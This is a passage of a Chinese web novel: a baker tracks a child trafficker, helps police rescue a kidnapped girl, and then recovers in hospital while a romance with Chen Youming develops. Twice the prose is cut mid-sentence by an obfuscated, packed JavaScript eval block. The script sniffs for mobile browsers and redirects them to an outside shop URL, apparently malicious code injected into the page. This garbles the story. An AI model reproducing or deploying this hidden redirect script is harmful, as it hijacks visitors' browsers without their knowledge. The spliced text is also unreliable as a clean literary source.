周奕见状,连忙说道:“我没有恶意,这是我今天没卖完的蛋糕,你们要吃吗?” 女人听到这句话,眼神闪躲了一下,指尖紧紧攥着裙摆,嘴唇动了动好半天才挤出声音:“不用了,谢谢你,我们……我们没带钱。” 周奕赶紧摆了摆手:“不要钱的,本来就是要送人的,孩子哭成这样,大概是饿了吧,先垫垫肚子。” 听周奕的这句话,女人神色缓和了一些:“……谢谢你了。” 她伸手接过蛋糕的时候,那条裹着女孩的毛巾松开了一些,露出一张略显苍白的小脸。 小女孩泛红的眼眸一直勾勾地盯着周奕看。 他莫名觉得有些眼熟,好像在哪里见过。 周奕皱着眉仔细回想的时候,那女人见他站着不动,顿时警惕了起来,以为是他改了主意,连忙抱着孩子往后缩了缩:“我不要了,还给你……” 周奕回过神,压下心里的疑惑,他摆了摆手笑着说:“没事你拿着吧,我只是孩子看着不舒服,是不是生病了?” 然而,周奕问得越多,女人就越发警惕起来,就连刚接过来的蛋糕都不要了,抱着孩子就往外走。 周奕觉得有些奇怪。 而这时,他突然想起来了,怪不得他觉得小女孩眼熟! 这个小女孩之前来他的蛋糕店买过糕点,当时是被一个老人牵着,买了一袋蜂蜜小面包,他当时还记得,因为对方比较可爱,还多装了几个。 他回想起刚才女人的反应,心里顿时觉得有些奇怪。 很快,他心里那点不对劲越来越放大,那个女人不会是……人贩子吧? 这个念头冒出来的时候,周奕自己都吓了一跳,可看着那母女俩匆匆离开的背影,女人连头都没敢回一下,他实在放不下心。 周奕没敢打草惊蛇,他骑着车,远远地跟在后面。 女人走得很快,一路绕到了老街后面没人的巷口,才停下来歇脚,同时将小女孩放下来,朝着身上狠狠地拍了两巴掌:“哭哭哭……就知道哭!” “要不是你一直哭,我怎么可能抱着你跑这么远……也不知道他们能不能找到。” 周奕看到这一幕,几乎可以肯定,这女人就是人贩子,他心里紧张得发紧,拿起小灵通准备报警。 然而,巷子里的信号太差,报警电话根本打不出去。 与此同时,另一边的顾城在接到家里人的电话后,已经慌了神,他挂了电话就开车往回家的路上赶,手心全是冷汗:“甜甜,怎么会不见了?” 晚上孩子奶奶带着在公园里玩耍,转头的功夫人就没了,已经报警了,全家都疯了一样在找,到现在都没消息。 顾城急忙给陈佑铭打了一个电话:“铭哥,我得回去一趟,他们说甜甜不见了。” 陈佑铭得到这个消息,也唰地站了起来,他皱着眉说道:“什么时候的事?” 他连忙安慰好兄弟,说道:“你别着急,我马上联系其他兄弟去找,我们人多,一定会把甜甜找回来的。” 在挂完电话后,他立即放下手里的动作,一起去帮忙找孩子。 没过多久,周奕就看到一辆车停在了巷口。 很快,车上下来两个叼着烟的男人,朝着巷子里喊了一声,那女人连忙抱着孩子上了车。 周奕躲在巷口围墙后,心都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550689|204322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提到了嗓子眼。 他攥着没信号的小灵通,又看看不远处行驶的面包车,直接跟了上去。 在走出巷子之后,小灵通有了信号后,周奕立即报了警。 警察接到周奕的电话后,立即高度重视起来,他们今天刚接到儿童走私的报警电话,立即询问具体情况:“你们哪个街道,车牌号是多少?” “没有牌照……” 周奕看了一下街边的路牌:“我现在在清泉路。” 此时,从警察这里得到消息的陈佑铭和顾城,立即也跟了过去。 清泉路陈佑铭他们很熟,之前在这里做过一个小项目,从这里开车过去,大概要十分钟,他走得一条小路,很少有人知道,只要一半的时间。 上车后,通话并没有断,开了免提。 手机里不断传来对方定位的声音:“现在到了封安路。” “他们打算就要上高速……” 这道声音,陈佑铭越听越有些耳熟,他脑海里浮现出一道身影,又觉得可能是巧合。 周奕眼睛紧紧盯着前面的面包车:“他们往北边高速口去了,车上有三个大人,还有好几个孩子……” 警察出声说道:“你别靠太近,注意安全,我们已经往这边赶了,警察随后就到。” 周奕挂了电话,跟在面包车后面保持着不近不远的距离,手心全是汗。 他普通人,第一次碰到这种事,说不慌是假的。 眼看面包车就要蹭到高速入口的闸口,身后突然传来急促的鸣笛声,好几辆警车飞快超过他,直直拦在了面包车前面。 这时,周奕的电瓶车也彻底没电了,在路上歪歪扭扭开了一段路,就直接报废摔在了地上。 周奕也跟着摔了一跤,顿时疼得倒吸了一口凉气。 他撑着地面爬起来,发现膝盖蹭破了一大块皮,不停渗着血珠伤口,在看到被警车包围的面包车后。 他顿时松了一口气,有些力竭地坐回了原地。 面包车在被拦下后,立即被警察控制住了。车里面一共有六个孩子,甜甜缩在最里面的角落里,陈佑铭先一步冲上去将孩子给抱了出来。 顾城立即从陈佑铭手里接过孩子,抱着顿时喜极而泣。 一旁陈佑铭回过头,看到那辆倒在马路上的电瓶车,还有旁边坐着的人,对方埋着头,头发被风吹得糟糟。 “你没事吧?” 周奕有些惊讶地抬起头。 陈佑铭在看到熟悉的脸时,顿时愣住了一下,怪不得他会觉得声音有些耳熟:“是你?” 周奕在看到陈佑铭时,也愣了一下。 他没想到自己会在这里碰见对方。 走近了陈佑铭才看清青年膝盖上蹭出来的伤口,血还在慢慢往外渗,他皱着眉,语气微沉:“怎么弄成这样?” 周奕抬头看到他,愣了愣才反应过来,说道:“刚才摔的,不碍事。” 就是有点疼。 陈佑铭没说话,他盯着青年脸上那双红彤彤的眼尾定了一会儿,随后弯下腰。 周奕有些猝不及防被抱了起来,他挣扎着说道:“你干什么放我下来,我自己能走。” “别动,小心腿骨折了,前面路口就是医院,我送你过去处理伤口。” 陈佑铭的手臂稳得很,力气也大。 周奕挣了两下没挣开,脸涨得微红,最终还是闭了嘴老老实实待在对方的怀里。 顾城老远就看到陈佑铭怀里抱着一个人,眼里露出一丝诧异。 陈佑铭先开口说道:“就是他帮忙找回来的甜甜。” 顾城顿时感激地看向周奕:“你是受伤了吗?我马上帮送你医院吧。” 周奕连忙摇了摇头,刚要开口推辞,就被陈佑铭截了话:“你先陪着甜甜吧,她应该吓坏了,这边我来就行。” 顾城抱着失而复得的孩子,想到家里焦急的老人,也不再推辞,连忙说道:“谢谢铭哥。” “我们两个之间不用谢,再怎么说,我也是甜甜的干爹,这些都是我该做的。” 陈佑铭把人轻轻放在副驾上,又扯了纸巾过来,先帮他把伤口周围沾到的灰尘擦了擦,动作不自觉放轻了许多,“忍着点,马上到医院。” 周奕攥着衣角坐得端正,在闻着对方身上淡淡的香水味,脑袋朝后缩了缩,轻轻地嗯了一声。 陈佑铭系安全带的手顿了顿,侧过头看他,路灯的光落在青年白净的脸上,蹭了点灰也依旧显眼。 8. 玫瑰草莓巴巴露亚 陈佑铭找了最近的一家医院将人送了过去。 医生给周奕清理伤口的时候,要将和血肉粘连布料剥离开。 剧烈的疼痛袭来,这比刚才还要痛,周奕的指尖轻轻颤抖着,忍不住倒吸了一口凉气,紧咬着唇,大颗大颗的泪水不受控制滚落下来。 陈佑铭站在旁边看着,眉峰一直拧着,再看周奕的脸色刹那间白了起来,衬得眼睛红得更明显了。 他干脆伸手虚虚挡在他眼睛上,低声说:“别看,忍一会儿就好了。” 微凉的眼皮感受到手掌温度的瞬间,周奕整个人顿时僵了一下,不由屏住呼吸,刚转移的注意力,紧接着又被下一波疼痛拉了回来。 周奕闻到了消毒水的味道,他忍不住想吐。 他怕疼,也害怕去医院。 因为小时候去得太多次。 每次都只有他一个人默默忍受疼痛。 之前在孤儿院时,他并不觉得孤单,但只要一来到医院,那种孤单的感觉,就会格外强烈,特别是看到同一病房里,那些关心孩子的父母。 那个时候,他会格外的羡慕。 周奕就被安排住院。 陈佑铭看着病床上的周奕,出声说道:“你好好休息,有什么事情都可以跟我说,我先出去一趟。” 周奕点了点头,躺在病床上没多久,困意就来了。 等打完电话的陈佑铭回来后,他回来就看到一张熟睡的脸。 他靠近了一些,目光落在青年的脸上,对方睡得似乎并不安稳,微蹙着眉头,眼尾的泪痕清晰可见。 陈佑铭在床边站着看了一会儿,才离开了病房。 第二天,周奕睡醒的时候,天边的太阳已经到了头顶。 他整个眼睛,突然想到了什么,猛地坐了起来。 他昨天晚上忘记给孤儿院打电话,让小满今天不用来店里。 周奕把电话打过去之后,才知道小满已经回去了。 老院长:“小奕,你是出事了吗?” 周奕连忙说道:“我没事……临时有件事要求办,昨天忘记跟小满说了,害得她白跑了一趟。” 周奕不太熟练地撒谎,声音都有些发虚。 好在老院长年纪大了,并不没有听出来。 在挂完电话之后,周奕顿时长长地松了一口气。 刚松完这口气,病房门就被人轻敲了两下。 “叩叩叩——” 周奕:“请进。” 陈佑铭拎着几个打包盒走了进来,把东西放在床头柜上,开口道:“楼下买的粥,你刚醒,先喝点垫垫肚子。” 周奕说了一声谢谢。 陈佑铭:“不客气。” 气氛突然变得有些安静了下来。 周奕还有些不习惯跟对方共处一室。 他硬着头皮喝了几口,看着站在窗口的男人,出声问道:“……我多久可以出院。” 陈佑铭听到这句话,转过身,看着病床上的青年,挑眉问道:“你想什么时候?” 周奕愣了愣,出院的时间可以自己定吗? “当然是越快越好。” “你的腿还没好,就算出去了也没办法工作。” 陈佑铭轻笑了一声:“再说出院的事,我说了不算,得医生同意才行。” 周奕后知后觉反应过来,他被陈佑铭给耍了,顿时不想再跟对方说话。 这时,房门被敲响了。 周奕以为是医生,结果房门一开,没想到是捧着鲜花和水果篮的顾城一家。 顾城连忙说道:“哪里伤着了?昨天多亏了你,我们才找回了甜甜。” 周奕连忙摆了摆手:“小伤,不碍事的。” 顾城的母亲抹着眼泪,紧紧攥住周奕的手,一个劲地道谢:“小周谢谢你,幸好有你在,要是孩子真出点什么事,我们一家子都没法活了。” 周奕说道:“您太客气了,之前您带甜甜到我店里买过糕点,昨晚上我看到那个女人手里抱着的孩子有些眼熟,才想起来的。” “甜甜昨晚上睡觉的时候,还念叨着你,嘴里还一直喊着小周哥哥,等你过几天休养好了,我到时候,专门带着甜甜来跟你道谢。” 顾城从怀里拿出了一个红包,塞到了周奕的手里:“这是我们的一点心意。” 周奕看到这个厚厚的红包,连忙拒绝地说道:“我不能收这些钱,这是我应该做的,就算昨晚上遇到的不是甜甜,是其他人我也会这么做的。” 周奕的态度很坚决。 两家人推脱了一番。 没办法,顾城只好将红包收了起来。 后面顾家人怕打搅周奕休息,在病房里坐了一会儿,就离开了病房。 病房里又恢复了安静。 周奕看着去而复返的陈佑铭,顿时愣了一下:“你没回去?” 他刚才以为陈佑铭跟着顾家人一起离开了。 陈佑铭说道:“没走,我去帮你问了一下医生,医生说再住两天就可以回去。” “不过回去后注意伤口,不要沾水。” 周奕:“谢谢你。” “不用谢,只是一点小事,再怎么说,你也帮我干女儿给救了回来,感谢你是应该的。” 陈佑铭看了一眼时间,拿起笔,在旁边的检查单上,写下了一串数字。 “这是我的电话号码,有什么事,都可以打给我。” 周奕看着那串电话号码,点了点头。 一晃三天过去了。 周奕出了院,膝盖上的伤口已经好得差不多,只需要每天换药。 他回到店里,小满在看到周奕腿上的伤时,顿时着急得不行。 她说不出话,但手指却飞快地比画着,眼里露出焦急的神色。 周奕和小满相处了一段时间,能理解一下简单的手语,但这时小姑娘的手速,快得能翻起一朵花来。 他有些哭笑不得,不由抬手按住小满的手,连忙说道:“你别担心,我没事。” 小满眼睛都红了一圈。 小姑娘没经历过什么大事,一来就围着周奕身边忙上忙下,端茶倒水,几乎都没有停过。 因为腿上的伤,周奕的店属于半开门的状态。 他闲不下来,住院的第一天,就忍不住想要回来,不开店的话,就没了收入,店里的房租水电都要算成本的。 不过好在有小满的帮忙,周奕轻松了许多,店里的糕点小满做的,他只需要在旁边指点一下。 只是买的糕点比平时少了一半。 一般上午早早地卖完就没了。 剩下的时间,周奕就把心思放在研究新品上。 他在甜品上有天赋,也有想法。 如果只是想单纯地卖几款糕点的话,当初就没必要从酒店里离职。 除了住院的那几天之外,周奕好几天都没看到陈佑铭了,也不由长松了一口气。 虽然这段时间接触下来,对方并没有什么恶意,甚至态度算得上友善。 但周奕还是不适应。 说不出来为什么,他天然地不喜欢跟对方打交道。 之前每次单独相处,心里没来由地生出一丝尴尬来。 不过,这几天周奕也有了不少好消息,首先是他接到了一个大订单,对方说他们公司,打算每天从他这里订购下午茶的糕点。 周奕原本以为对方是在开玩笑,然而第二天,对方找上门之后,他才发现原来是真的。 “我们在知道您助人为乐的事迹之后,想要对您给予支持!” 周奕没明白,不过很快他就知道了。 在当天下午,就有人举着锦旗来感谢他,原来他追人贩子的事迹上了新闻,还有不少当地媒体过来采访,周围的人也跟着挤进来看热闹。 周奕没经历过这样大的阵仗,原本只打算开半天的蛋糕店,一下子挤满了人。 闪光灯不停晃着周奕的眼睛,他被问得有些手足无措,站在柜台后边,只觉得周遭空气一下子被抢夺走,磕磕绊绊的,说不出一句完整的话。 而小满也不会说话,站在一旁只能干着急,她害怕那些人挤着周奕伤口,连忙伸手拦住。 恰好这时,一道身影直接挡在两人的前面:“你们有什么事,可以来问我,当天我也在现场。” 陈佑铭一出声,瞬间怔住了这群记者和周围围观看热闹的人群。 “今天不方便,想采访的话,提前打电话预约。” 在应付完这群记者之后,关上门,周奕抹了一把额头上的汗,心脏还在怦怦直跳。 他觉得只是做了自己该做的事,没想到会闹得这么大动静。 陈佑铭转过头,看着周奕发白的脸,出声问道:“我没事。” 他怕对方不小心又犯病了。 “就是刚才他们堵着,空气有些闷,我休息一会儿就好了。” 几分钟后,周奕缓过来后,他看向陈佑铭,好奇地问道:“你来做什么?” “听说你上了新闻,就过来看看。” 陈佑铭走进店里,目光扫过周奕绑着绷带的膝盖,出声询问道:“伤口恢复得怎么样?” 周奕看了一眼腿上的伤,回复道:“挺好的,已经不怎么疼了。” 一旁的小满见两人说话,立即手脚勤快地接了两杯水过来。 一杯递到了周奕手里,一杯放在了陈佑铭。 陈佑铭说了一声谢谢。 他的目光落在柜台后边摆着的糕点上,眼底闪过一抹惊艳:“这是你做的?” 周奕顺着对方的目光看过去,发现对方正在看他研究的新品,点头说道:“嗯,是玫瑰草莓巴巴露亚,还在调配方……你可以尝尝。” 一旁的小满听了之后,连忙竖起了大拇指,她手舞足蹈地赞美着周奕的新甜品,想让陈佑铭快点尝试。 陈佑铭见状,不由挑了挑眉:“真的有这么好吃吗?” 小满连忙点头。 陈佑铭拿起一块咬了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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接下来的几天,小店的生意因为这次报道好了不少,不少人特意过来买糕点。 周奕的玫瑰草莓巴巴露亚也调整好了配方,他正式摆上了柜台,果然来询问的人多了一些。 销量也还不错,四十块钱一份的玫瑰草莓巴巴露亚,一天都能卖个五六份。 再加上小满做的糕点,营业额已经超过之前的了。 连带着生日蛋糕的销量也好了不少。 周奕这几天心里都是开心的。 虽然腿受伤了,但也算是祸福相依。 周奕每天换药的时候都仔细对着镜子检查伤口,恢复得比预想中还要快。 一转眼就到了甜甜生日的周末。 这天周奕提前关了店,将提前做好的生日蛋糕装好,他给甜甜做的生日蛋糕跟市面上卖的不一样。 全部用得进口的动物奶油,里面放了大量的草莓夹心,和蓝莓果肉,蛋糕的表面,更是手绘上了一只跟请柬上一模一样的熊,憨态可掬地抱着竹子,最后再小心翼翼地装进盒子里。 没过多久,门口就停了一辆黑色的汽车。 陈佑铭打开车窗,对上周奕的目光,说道:“上车。” 周奕上了车。 车里还好不只有对方一个人,还有两个他不认识的人。 两人跟周奕打招呼,其中一个人浓郁的方言口音说道:“小蛋糕,你还记得我们吗?” 周奕愣了一下,的确没有想起来。 “那天晚上,你犯病了,我们和铭哥打算拉你去医院……” 对方这么一说,周奕一下子就想起来。 原来是他们。 “小蛋糕,我们还带酒店帮你抓奸了的……” 前面开车的陈佑铭出声说道:“什么小蛋糕的,你们说话礼貌一点,会儿顾城要听到你们给他的贵客起外号,小心他揍你们。” 两个人听到这句话,顿时就闭上了嘴,连忙讨饶说道:“我们错了,您可别跟城哥告状。” “小周,刚才不好意思哈,我们给你道歉。” 周奕其实这个称呼没什么意见,他那条街的大部分门店的老板都有个外号,例如卖卤肉的,年纪小的叫小卤肉,年纪大点的,加个老字…… 他笑了笑,表示自己没生气。 很快他们就到了顾城的家,距离这里没有多远,是一栋装修得非常漂亮的小洋楼。 周奕拎着蛋糕刚下车,就看到甜甜扎着羊角辫蹦蹦跳跳地跑了出来,一下子扑到周奕腿边:“小周哥哥!” 周奕下意识弯下腰,小心避开伤腿扶住小姑娘,笑着把蛋糕递过去:“甜甜,这是小周哥哥给你做的生日蛋糕。” 甜甜眼睛一下子亮了,抱着蛋糕盒蹭了蹭周奕的胳膊,拉着他的手往里面走:“谢谢小周哥哥。”